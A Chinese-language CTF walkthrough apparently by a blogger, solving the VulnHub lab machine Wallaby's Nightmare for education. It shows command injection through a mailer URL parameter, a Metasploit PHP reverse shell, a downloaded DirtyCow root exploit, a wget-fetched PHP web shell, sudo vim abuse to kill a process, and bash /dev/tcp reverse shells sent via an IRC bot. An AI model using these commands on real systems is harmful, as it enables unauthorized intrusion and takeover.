**
VulnHub-Wallaby’s: Nightmare (v1.0.2)-Walkthrough
**
靶机地址:https://www.vulnhub.com/entry/wallabys-nightmare-v102,176/
靶机难度:中级(CTF)
靶机发布日期:2016年12月22日
靶机描述:
这是我的第一台boot2root机器。这是初学者的中级水平。
它已经在VBox和VMware中进行了测试,并且似乎都可以正常工作。
提示,任何东西都可以作为向量,实际上是根据机器的工作原理来思考问题。但是如果做错了动作,一些东西会四处走动,使机器更加困难!
这是两部分系列中的第一部分。我受到在vulnhub上发现的几台虚拟机的启发,给计算机增加了一些变化。
祝你好运,希望大家喜欢!
这是我有史以来的第一个CTF / Vulnerable VM。我出于教育目的创建了它,因此人们可以在合法的渗透测试环境中测试他们的技能,从而获得一些乐趣。
下载前请注意一些事项!
尝试使用仅主机适配器。这是一台易受攻击的计算机,将其保留在网络上可能会导致不良后果。
它应该可以完美地与Vmware一起使用。我已经用vbox测试了它,并让另一个朋友也在vbox上测试了它,因此我认为它在其他任何东西上都应该可以正常工作。
这是一个Boot2Root机器。目的是让您尝试在VM中获得root特权。不要试图通过恢复iso等获取根标志,这本质上是作弊!这个想法是通过假装此机器正在通过没有物理访问权限的网络受到攻击来解决的。
我为这台机器设计了主题,以使其感觉更逼真。您正在闯入一个虚构的角色服务器(名为Wallaby),并试图在没有引起他注意的情况下生根,否则,如果您采取错误的措施,难度将增加!祝你好运,希望大家喜欢!
Changelog v1.0-2016-12-22-首次发布。v1.0.1-2016-12-29-通过各种修复使VM变得更加困难。v1.0.2-2016-12-30-删除了可以用作快捷方式的剩余临时文件。—谷歌翻译
目标:得到root权限&找到flag.txt
作者:大余
时间:2020-01-28
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
我们已经找到了此次CTF目标计算机IP地址:192.168.56.182.135
nmap扫到了22、80和6667端口…
让我输入用户名,开始此次CTF!…
输入用户名dayu…点击start开启CTF之旅…
Wallaby发现dayu试图侵入服务器内部…因此dayu在它的监视下…
还发现/?page=这里存在LFI攻击…试试看…
先保留此信息…
我尝试访问…/…/…/…/…/…/…/…/…/…/etc/passwd发现无法访问了…???
我重新nmap扫发现80端口关闭了,看前面的对话意思,应该是Wallaby发现了我在渗透服务器,阻止了我…
发现80端口虽然关闭了,60080端口开启了http服务…
我直接爆破枚举了http:60080/?page=页面…发现mailer…(别的链接也进去看了,目前没发现好用的信息…)
我在前端源代码看到有用的信息…
a href标签包含了一个url信息…/?page=mailer&mail=mail…(这里存在LFI)
二、提权
随意输入,输出www-data…直接利用即可…
加载Metasploit框架以通过反向连接与受害者进行连接…
命令:
- use exploit/multi/script/web_delivery
- set target 1
- set payload php/meterpreter/reverse_tcp
- set lhost 192.168.182.135
- set lport 4444
- run
这边通过Metasploit生成了php注释…直接复制到web进行访问即可获得反向链接…
链接成功后…
查看版本,可以利用脏牛进行提权…Dirty cow exploit (CVE-2016-5195)
直接下载到靶机服务器即可…
命令:wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
命令:gcc cowroot.c -o dayu -pthread
用gcc进行编译…
执行并成功获得root权限,并查看flag…
第二种提权方法:
发现LFI漏洞利用后,我直接利用python代码,现在世面上很多python提权的代码…例如:
这两种都可以在这里提权,前面是代码直接复制到web链接即可,另外一个是shell,wget下载上去即可触发…
直接获得了低权…(右下角是广告,忽略…)
直接提权shell:
命令:cp /usr/share/webshells/php/php-reverse-shell.php shelly.php
(将shell放入本目录中)
命令:python -m SimpleHTTPServer
(开启本地服务)
命令:http://192.168.182.135:60080/index.php?page=mailer&mail=wget%20192.168.182.149:8000/shell.php; chmod 777 shell.php; ls -al
(在web中打开从服务中下载shell.php到靶机上)
开启本地监听…web访问下即可提权…
ALL可以执行iptables,运行前面nmap扫到的6667端口的IRC服务器…(未开启的)
继续查看iptables规则…当前的规则是所有与IRC的外部连接都将被删除…准备使IRC服务器进行开放…
命令:sudo iptables -R INPUT 2 -p tcp --dport 6667 -j ACCEPT
(重写了第二条规则以允许端口6667上的TCP连接)
运行完后,nmap前面扫描未开启6667端口,在重新扫描后,开启了…
这边需要加入频道才可以进入其中…
命令:cat raw.log | grep "#"
在/home/wallaby/.sopel/logs/raw.log文件中发现了wallabyschat频道…
这边可以使用两种工具链接进IRS服务器中…irssi和HexChat…
IRSSI:
我这边使用irssi:链接
命令:irssi -c [server] -p [port] -n [nickname]
命令:
- /list
- /j wallabyschat
在通道wallabyschat内,我看到了另外两个用户…
/wc(退出当前频道)回到irssi主窗口,进行一些信息收集看看…
命令: - /whois waldo
- /whois wallabysbot
可以看到wallabysbot是基于Sopel的…在服务器上寻找下bot框架…
Sopel在Wallabys的主文件夹中找到,只有一个模块可用,这是一个典型的运行脚本run.py…
脚本表明只能Waldo才能运行此脚本…
在IRSSI中执行此结果失败了…
在waldos主文件夹中找到了一个名为irssi.sh的脚本…发现个问题…
发现Waldo正在使用tmux满足IRC需求…如果服务装置出现故障…就是说tmux掉线了,IRC也会跟着掉线…
上面是Tmux进程ID…
命令:python -c ‘import pty;pty.spawn("/bin/bash")’
命令:sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
使用Vim发出kill命令[ESC]:!kill 817 [ENTER]… (ps -aux | grep waldo来查看进程ID)
Waldos IRC连接中断后…/nick waldo更改名称…然后使用.run获取反向shell即可…
命令:.run bash -c 'bash -i >& /dev/tcp/192.168.182.149/8989 0>&1'
HexChat:
以上是基础配置…链接
已经进来了…
命令:ps -aux | grep waldo
(查看进程)
irssi进程的数量684,可以使用vim杀死该进程…
已经成功干掉该进程…
命令:
- waldo has quit (Client exited)
- You are now known as waldo
- .run whoami
使用/nick waldo命令将其名称快速更改为它的名字,并执行.run命令…
命令:.run bash -c "bash -i >& /dev/tcp/192.168.182.149/6666 0>&1"
(前面就已经分析过了run可以执行…)
开启nc服务后,获得wallaby用户权限,sudo提权即可…HexChat命令:链接
这台靶机很舒服,用了Metasploit、php、python、DirtyCow、IRSSI、HexChat来拿下这台靶机…学到非常非常非常多的知识,感谢这台靶机的作者!!!
写完这篇又不知不觉到了凌晨2点…我写得目的就是让我自己记得更深,更加理解一些原理…加油!!
由于我们已经成功得到root权限和flag,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。